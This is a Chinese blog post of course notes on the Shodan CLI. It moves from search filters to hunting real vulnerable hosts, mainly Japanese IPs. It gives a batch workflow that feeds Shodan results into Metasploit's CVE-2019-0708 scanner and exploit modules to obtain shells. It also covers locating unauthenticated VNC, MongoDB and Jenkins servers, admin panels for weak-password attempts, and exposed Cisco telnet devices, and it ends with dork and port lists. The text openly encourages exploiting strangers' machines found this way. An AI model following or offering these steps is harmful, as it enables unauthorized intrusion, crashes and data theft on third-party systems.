泷羽sec----网络搜索引擎shodan的使用
shodan的使用
声明!
学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页B站泷羽sec
一、简述
首先明白shodan 的用途,即为什么使用shodan,shodan是一种网络搜索引擎,它是通过对于网络中的设备进行不间断的扫描,并把结果保存下来,用于用户去进行搜索。它可以搜索到网络中的许多设备以及服务等,甚至可以检索漏洞,如果知道目标就可以对这个目标进行检索,如果知道某个漏洞,就可以根据这个漏洞去检索相应的网络设备。
shodan的网站是www.shodan.io,也是有会员制的一种,可以通过网站直接进行操作,或者通过一些工具来更加方便的获取信息,如github中的开源项目shodan-python。通过python处理操作,并把结果整理
建议某鱼上买一个用着,用于学习,也不贵
二、安装shodan-python
首先需要安装git,对于kali来说,内置已经有git命令,可直接使用
git clone 项目地址 //https://github.com/achillean/shodan-python
可以把github中的项目下载到当前的文件目录,或者也可以下载到指定的目录中,只需在项目地址后加上目录即可
当然有时候在国内访问GitHub是不稳定的,所以一般可以科学一下
下载项目后,可以进行操作了,首先安装
python setup.py install 使用python安装
shodan init API_key 这里的API_key指的是shodan中的API,在登陆shodan账号后可以在账号中查看
shodan -h 出现shodan的帮助说明参数,说明安装成功
三、使用shodan-python
Ⅰ. shodan的search、host学习(PART 1)
shodan -h
Usage: shodan [OPTIONS] COMMAND [ARGS]...
Options:
-h, --help Show this message and exit.
Commands:
alert Manage the network alerts for your account
convert Convert the given input data file into a...
count Returns the number of results for a search
data Bulk data access to Shodan
domain View all available information for a domain
download Download search results and save them in...
honeyscore Check whether the IP is a honeypot or not.
host View all available information for an IP...
info Shows general information about your account
init Initialize the Shodan command-line
myip Print your external IP address
org Manage your organization's access to Shodan
parse Extract information out of compressed...
radar Real-Time Map of some results as Shodan...
scan Scan an IP/ netblock using Shodan.
search Search the Shodan database
stats Provide summary information about a...
stream Stream data in real-time.
trends Search Shodan historical database
version Print version of this tool.
shodan的用法很多,这里先从简单的search命令进行学习,也就是进行搜索
情景一、我想要搜索10条在日本的信息
shodan search --limit 10 country:jp
search -----表示搜索
limit -----表示限制,也就是众多的信息中,显示限制为10条信息
country-----表示国家
jp ----小日子的国家缩写,也就是英文的缩写
根据上面的检索信息可以看到,给出的信息看着有些让人眼花缭乱,如果我们确定只要某一方面的信息就可以进行加以限制,只显示我们想要的。
情景二、我想要搜索10条在日本的IP以及端口信息
shodan search --limit 10 --fields ip,port country:jp
fields----该参数表示的是范围,也可以是区域,也就是检索信息返回显示的信息
ip -----指ip地址
port -----指端口号
根据上面的检索信息返回图可以知道,白色代表IP,黄色代表端口号,但是这里的IP为什么和平常接触的IPV4显示方式不同,是否不是IP地址呢,百度可以知道,这也是IP的一种表现方式,后面继续学习的话,可以了解到IP更多的表现方式,如二进制IP地址等。
那么这种表现我觉得还是不行,想要结果更加人性化,可以对参数进行略微的改变
shodan search --limit 10 --fields ip_str,port country:jp
唯一变动参数ip改为ip_str,略懂一些编程更好理解,前面的ip显示形式是一种数字化,而平常大部分看到的文字等都是一种字符,那么这里就是对数字化的ip进行转字符,为IPV4的形式
情景三、具体到城市的检索信息
shodan search --limit 10 --fields ip_str port:3389 country:cn city:hefei
port参数是可以指定端口的,这样再进行检索信息的时候会返回开放3389端口号的IP信息
city参数表示城市,也就是市级为单位,上海,深圳等
cn参数是中国的缩写
这里返回的就是3389端口开放并且是在国内城市合肥的IP地址,当然这里可以进行测试,因为shodan实时性不是很好,可能含有旧的信息
情景四、我想要知道指定目标IP的一些信息
shodan host [xx target xx]
使用host参数去查询目标,返回目标主机的一些信息
这里以前面检索到的小日子的IP进行测试【184.27.185.18】
可以看到根据一个IP地址,检索出了很多消息,如域名,该IP所处的城市国家,以及属于什么服务商。还有IP的开放端口,以及一些端口的服务信息。当然还有其它信息,只不过这个IP的信息检索只有这么多,可以换个IP测试,发现是不是可能会有操作系统,以及其他的信息。
情景五、我想要这国家中已经有漏洞的IP地址
shodan search has_vuln:True --limit 10 --fields ip_str port:3389 country:jp
has_vuln:True ------>表示是否已经有漏洞,true表示是
检索的信息可以看到,这里给出了3389端口有漏洞的小日子的IP地址,因为是小日子的IP,所以我测试一下
因为不知道具体的是什么漏洞,可以用host参数查看
shodan host 1.77.141.61
可以看到操作系统有了,指出的漏洞编号也有了,不知道是什么漏洞没有事,可以直接搜索这个编号,或者通过kali的漏洞库去搜索都可以
CVE-2019-0708简介:
通过利用远程桌面的3389端口,RDP协议进行攻击,从而导致机器蓝屏瘫痪。该漏洞的触发无需任何用户交互操作,这就意味着,存在漏洞的计算机只要联网,无需任何操作,就有可能遭遇黑客远程攻击,运行恶意代码等,极具破坏性!
这里可以直接使用MSF进行漏洞利用,打开msfconsole,然后搜索关键字0708
search 0708
可以发现有两个模块,一个是扫描(scanner),一个是利用(exploit),可以先扫描,然后确认有漏洞后就可以进行利用,注意的是使用利用模块是,需要设置target,如果是漏洞复现,靶机在虚拟机上,可根据虚拟机版本品牌选择,如果是真实的主机,target设置为1。然后开始攻击,过程中需要等待,也就是目标先蓝屏然后等它重启后,就可以获得shell。
然后到此结束,注意注意注意,不要随便攻击别人的主机,以及绝不允许攻击国内。这里的小日子IP仅供学习,作为参考。
情景六、网络中的非主机服务器等设备
shodan search --limit 10 --fields ip_str,port device:webcam country:jp
这里的device 表示设备的意思
跟着的webcam 表示网络摄像机,也就是网络监控/摄像头 注意是联网的,连到公网的
就会返回网络摄像头的IP以及端口号,放在浏览器中输入地址端口就可以访问了
因为是小日子,所以网络卡顿,往往都会看不清的
shodan search --limit 10 --fields ip_str,port device:router country:jp
device ---->表示设备的意思
router ---->是路由器
检索路由器的信息
大部分的路由器都是可以通过telnet进行远程登录的,这里也需要考虑一个端口号对应的服务问题,23对应的也是telnet服务
shodan search --limit 10 --fields ip_str,port tp-link country:jp
搜索设备TP-LINK的信息,tp-link是厂商,所代表的产品也多
通过检索返回的信息可进行访问看看
因为是厂商,所以产品很多,并且使用的人多,那么就可以配合情景五中,使用到的参数has_vuln:True
进行检索,如果检索到有,就可以进行漏洞复现,然后提交。
Part 1 小结:通过网络搜索引擎shodan来获取网上的一些信息,或者目标的一些信息,这个功能很是强大,如果知道某些漏洞,可以通过这个漏洞去搜索对应的IP,这一环节也是简单的了解怎么搜索信息,以及怎么使用参数search
,host
,device
,has_vuln
等,最主要的是,要学会把这些参数结合起来去使用,不能盲目的、没有逻辑的去学习使用
Ⅱ CVE-2019-0708漏洞复现(Part2)
首先百度搜索一下这个漏洞描述的是什么,或者看前面Part1 的情景五中的简介也是一样的。既然是学习shodan,那么这个漏洞当然要通过shodan去进行搜索了
shodan search --limit 10 --fields ip_str,port vuln:cve-2019-0708 country:jp
vuln---->该参数表示还有该漏洞
不过这里的vuln参数只能够高级会员以上才能使用,所以换种方式绕过这种会员限制
shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp
这一串十六进制的字符可以说是拥有CVE-2019-0708漏洞的特征,所以可以这样去绕过
检索是个结果,可以先进行远程连接测试,然后可以进一步进行渗透,这里在Part1 情景五中实验过一次,所以不在笔记上记录,自己操作一遍。
可以知道,我们知道了漏洞,但是一个一个进行测试很是繁琐,怎么批量呢?
首先两种方式,第一种把检索的结果只显示IP地址,然后把IP地址复制到一个文件中,再通过MSF进行批量操作
第二种,使用shodan中的download和parse参数进行下载与解析
shodan download [自己取文件名] --limit 100 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp
这里会把检索的结果下载到当前目录下,并且以压缩文件形式存在
那么下载的检索结果怎么进行下一步处理呢
shodan parse --fields ip_str 【通过download下载的文件】
这里就会把文件解析出,可以查看
比如,取名0708
shodan download 0708 --limit 100 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp
下载的数据到当前目录下,是个gz压缩包
shodan parse --fields ip_str 0708.json.gz > 0708.txt
就会解析下载的数据,并把其中的ip提取出来,重定向给0708.txt文件。
那么0708.txt文件中就都是可能含有漏洞的IP
使用MSF进行测试
输入msfconsole 进入MSF
search 0708 搜索漏洞关键字
这里注意的是,序号0的模块是扫描模块,也就是检测是否有漏洞,序号3是漏洞利用模块。
把文件中的IP地址先进行批量扫描
use 0 使用序号为0的模块
然后查看该模块需要什么参数配置
show options
然后设置必要参数rhosts,这个代表的是目标主机,可以是单个,可以是文件。把之前的文件选择
set rhosts file:'0708.txt' 这里表示是文件形式
然后就可以进行执行了
run/exploit
经过扫描后,可以把有漏洞的IP再进行漏洞利用即可
使用漏洞利用模块
use 3
show options
set rhosts file:'0708.txt'
set target 1
run/explot
然后静静等待上线就行
Part 2 小结: 主要学习了shodan中的两个参数,一个是download
,用于下载检索的数据,一个是parse
用于解析或者说提取下载的数据。也学习了一个vuln
参数,不过主要的是,都是通过数据库进行检索的,所以学习中的十六进制也是可以检索到的。另外就是把shodan与MSF联合起来进行漏洞的批量检测
Ⅲ 使用shodan的历史数据查询以及VNC的空密码检索(Part 3)
首先介绍一个参数,count,该参数是针对你输入的进行一个统计,在数据库中大概有多少数据。
shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
然后就是在进行检索信息的时候,有时候会发现有的IP地址竟然把所有的端口都开放了,不免的让人怀疑这是蜜罐。什么是蜜罐呢,这就是一种防御黑客工具的部署,也是一种陷阱。
shodan中有检测是否是蜜罐的参数honeyscore
发现提示,不能计算蜜罐,那么可以通过web网站进行测试honeyscore.shodan.io
接着就是查询历史信息,比如某一个IP地址,在以前的信息中,可能开放了某个端口等,也有可能有些信息泄露,当然对于这方面,收集起来也是好习惯
shodan host [xx目标地址xx] --history
算是一个实验吧,来了,VNC的空密码连接,这个就相当于一种远程控制电脑的软件。
首先可以先了解一下,进行远程登录的时候,需要输入用户名和密码,也就是进行身份权限认证,如果身份认证关闭了,也就是相当于可以进行匿名访问,不需要进行验证,就造成空密码登录。(当然这只是我个人比较容易理解的一段文字,并非VNC原理)
shodan search --limit 10 --fields ip_str "authentication disabled" port:5900
shodan download 【文件名】--limit 10 --fields ip_str "authentication disabled" port:5900
authentication disabled------->表示身份认证关闭
port:5900 ----->VNC的默认端口号是5900
shodan parse --fields ip_str 【文件名的gz包】 > vnc.txt
Part 3 小结: 主要学习count
参数,是用于统计检索的数据有多少的,honeyscore
是蜜罐的检测,history
是检索目标的一些历史信息的。学习一个检测VNC的无身份认证的,直接"authentication disabled"
,而且VNC的默认端口号是5900
Ⅳ 使用shodan查询网站中的title关键字以及弱口令设备(Part 4)
首先学习查看自己当前上网的公网IP地址,当然也可以使用一些在线网址去查询
shodan myip
然后通过网站中的title,也就是HTML中的标签<title>
,通过搜索这个关键字来检索一些信息。
情景七、查询网络中已经被别人黑入的网站
shodan search --limit 10 --fields ip_str,port http.title:hacked by
http.title ------>表示网站中的title关键字
hacked by ------->表示title中的字符
可以看到网站的标题是hacked by
这段字符,并且通过查看HTML中的元素可以看到,<title>
标签确实是这个
在这个基础上,我们可以去寻找一些特殊的字符,比如:后台管理,xxx系统,mysql等等,当然也可以自己去积累一些,比如有的CMS的标题可能都是固定的,那么当知道一个CMS的漏洞时,并且指纹识别不出来,就可以尝试使用这种方式去查询。
比如搜索mysql中的一种网页数据库管理工具,phpmyadmin
,因为标题中是有这种关键字的
shodan search --limit 10 --fields ip_str,port http.title:phpmyadmin country:jp
那么查询到就可以进行测试,比如弱密码
比如搜索后台
shodan search --limit 10 --fields ip_str,port http.title:后台 country:jp
甚至使用这种方式,兄弟们还愁找不到一些网站吗,那都是成堆成堆的。
情景八 寻找弱口令的网络设备
shodan search --limit 10 --fields ip_str,port "cisco -unauthorized port:23"
part4 小结:主要的就是学会查询网站的标题,而且最主要的是HTML中的标签很多,可使用的不止只有<title>
,而且要学会结合使用,也就是和前面的命令结合起来,比如与has_vuln:True
结合,找到的就可能是有漏洞的网站,如果还是一个系统呢, 也就是如果是同一个CMS呢, 不就代表大量的漏洞吗,当然因为shodan的实时性不太好,所以查询到的可能会被修复,当然这种CMS的版本也很重要,版本对的上说明存在漏洞。
Ⅴ 使用shodan寻找网段以及HTML中的关键字查询,一个未授权访问(Part 5)
首先老师提供了一个美国国家安全局的网站以及其IP的网段
www.nsa.gov
(美国国家安全局官方网站)
shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24
net------->指定网络范围
208.88.84.0/24------->IPV4是由32位构成,其中每一个由 . 隔开的数字,占据8位,四个数字也就是32位, 这里的/24,指的是前面24位作为网络号,剩下的一个数字作为主机号
这个网段也是米国国家安全局的一个网段
一般需要科学,但是,有的网站并不是直接访问IP地址就可以访问的,需要访问其域名才能成功访问,所以知道IP地址后,可以先解析域名再进行访问
那么假设我们现在只知道有一个组织或者说一个域名,怎么获取它可能含有的IP地址呢,就可以使用org
参数
shodan search --limit 10 --fields ip_str,port org:nsa has_vuln:True
org----->也就是organization的简写,有组织的意思
对于.gov的域名,shodan可能不会显示,可以去掉.gov再进行搜索
可以看到所属组织是NSA,不过国家属于法国的,而且有过的漏洞这么多,如果没有修复的话,就可以进行复现
shodan search --limit 10 --fields ip_str,port hostname:google
hostname----->个人感觉可以看出域名,然后相当于把域名中含有google的网站转化为ip地址显示出来
shodan search --limit 10 --fields ip_str,port http.waf:safedog country:jp
http.waf----->其实也是看网页,http请求中的信息,如果含有safedog则把信息显示
shodan search --limit 10 --fields ip_str,port http.html:login country:jp
http.html------>发现在HTML中存在的关键字,这种关键字并非是呈现在页面中的,也可能是在代码中的
shodan search --limit 10 --fields ip_str,port http.html:皓峰防火墙系统登录 country:jp
重点:MongoDB未授权访问
shodan search --limit 10 --fields ip_str "Mongodb server information -authentication" port:27017
首先下载mongodb数据库,一定要自己安装一下,因为如果后面学到漏洞复现的话,对于环境也是要学会搭建的,官网下载地址https://www.mongodb.com/try/download/community
,这里下载社区版就可以了。注意在安装的时候,文件目录一定放在全是英文的目录下,就是整体目录全是英文
https://www.mongodb.com/try/download/shell
该网址是mongodb的命令工具,用于输入命令时使用的
mongod --install --dbpath 数据目录 --logpath 日志目录\日志名称 #创建服务,目录需要文件的绝对地址
mongod --remove #卸载服务
net start mongodb #启动服务
net stop mongodb #关闭服务
mongod #是处理MongoDB系统的主要进程。它处理数据请求,管理数据存储,和执行后台管理操作。当我们运行mongod命令意味着正在启动MongoDB进程,并且在后台运行。
mongosh
这就完成了mongodb 的未授权访问,直接访问到数据库
Jenkins是一种可以自动化操作的服务,有组件的形式。
它可以自动化构建和部署,可以从git代码仓库中获取代码并且进行编译、打包等构建操作,可以把构建好的成果自动部署到不同的环境中。
可以自动运行各种测试,如单元测试,集成测试等
它是java环境。官网链接https://www.jenkins.io/zh
shodan search --limit 10 --fields ip_str,port "X-Jenkins" OR "Set-cookie:JSESSIONID" http.title:"Dashboard"
"X-Jenkins" OR "Set-cookie:JSESSIONID"-------->表示搜索结果中要么响应头包含“X-Jenkins",要么"Set-cookie"的值包含"JSESSIONID"。使用 OR 逻辑运算符连接,扩大搜索范围
这就是Jenkins 的组件样式,这个因为没有设置账号密码,直接访问就成功了,如果这里面有什么项目的话,可以获取到它的项目链接,并且也可以做其他事情
Part 5 小结:主要学会通过http.xxxx
进行搜索,而且主要的就是mongodb数据库要会搭建以及通过shodan搜索mongodb的未授权访问,还要记住mongodb的默认端口号是27017。以及主动搜索Jenkins去了解这个组件的作用,以至于我们收集到这方面的信息或者漏洞后可以做什么事情。
Ⅵ shodan的图形化界面的使用
对于图形化或者命令行,各有各的好处,个人认为,对于收集大量信息,IP,端口等时,使用命令行的操作更方便收集。但是使用图形化的界面对于单个目标来看的话,更人性化,看的更加清晰
图形化中的一些参数等,在命令行中都是可以使用的
shodan search --limit 10 --fields ip_str,port product:Apache httpd
product ----->指的是产品,也就是所谓的服务商提供的产品,如apache,nginx等
shdan search --limit 10 --fields ip_str,port org:Tencent cloud
org ----->前面说过,代表某一种组织的意思,这里是查找属于腾讯云这个组织的信息
这是图形化界面的一些选项,当然还有在settings
中,可以设置添加邮箱等操作,
在dashboard
中,可以图形化的观测到监控的目标的状态等
part 6 小结:主要介绍了shodan的图形化界面的一些选项的操作,了解图形化的一些功能,不止可以命令行操作,对于图形化和命令行,看个人习惯去进行使用
Ⅶ shodan之收官
今天老师主要介绍在命令行中,未曾讲到的一些参数
shodan alert (讲述怎么配置ip监控,在web页面上更直观)
shodan info (查看自己的账户还有多少积分或者次数)
shodan domain 目标 (查询目标域名信息)
shodan检测的数据并非实时性的,可以使用scan参数对目标进行实时性的扫描
shodan scan submit ip地址
shodan scan list (查看扫描信息)
shodan stats --facets ssl.version country:cn has_ssl:true http
统计国内使用ssl的ip地址,并用版本做统计返回信息
老师再次强调,要灵活使用参数,搭配起来去进行使用,信息更多更准
has_screenshot:true cisco (是有截图的思科设备)
一些常用的默认端口号:
1433 --mssql
1521 --oracle
3306 --mysql
27017,27018 --mongodb
28017 --mongodb统计系统页面
5432 --postgreSQL
6379 --redis(未授权)
3389 RDP
80 http
443 https ssl心脏滴血漏洞
445 smb
21 ftp
22 ssh
23 telnet
25 smtp
110 pop3
143 imap
53 dns
69 tftp
67-68 dhcp
2082/2083 cpanel(主机管理系统,国外用的较多)
2222 da虚拟主机管理系统(国外较多)
3128 squid代理默认端口--漫游内网
3312/3311 kangle主机管理系统
5900 VNC
7001/7002 weblogic(默认的弱口令,反序列化)
7778 kloxo(主机控制面板登录)
8000-9000 常见的web端口,管理后台也可能会在这些端口上
8080 tomcat、wdcp主机管理系统(默认弱口令)
8080,8089,9090 jboss
8083 vestacp (主机管理系统,国外较多)
8649 ganglia
8888 宝塔默认端口
10000 virtuamin/webmin 服务器虚拟主机管理系统
11211 memcache 未授权访问
google语法:
inurl:xxx 表示查找在URL链接中有xxx的页面
filetype:【文件类型,如pdf、xls等】 查找页面中有该种类型文件的页面
intitle:xxx 在<title>标签中找含有xxx的标题页面
site:xxx 搜索某个网站站点的所有页面
把上面的结合起来
inurl:upload site:xxx 查询某网站含有上传功能的页面
inurl:confidential site:xxx 查询某网站中的URL中含有机密的页面
本文来自博客园,作者:whitehe,转载请注明原文链接:https://www.cnblogs.com/whitehe/p/18598425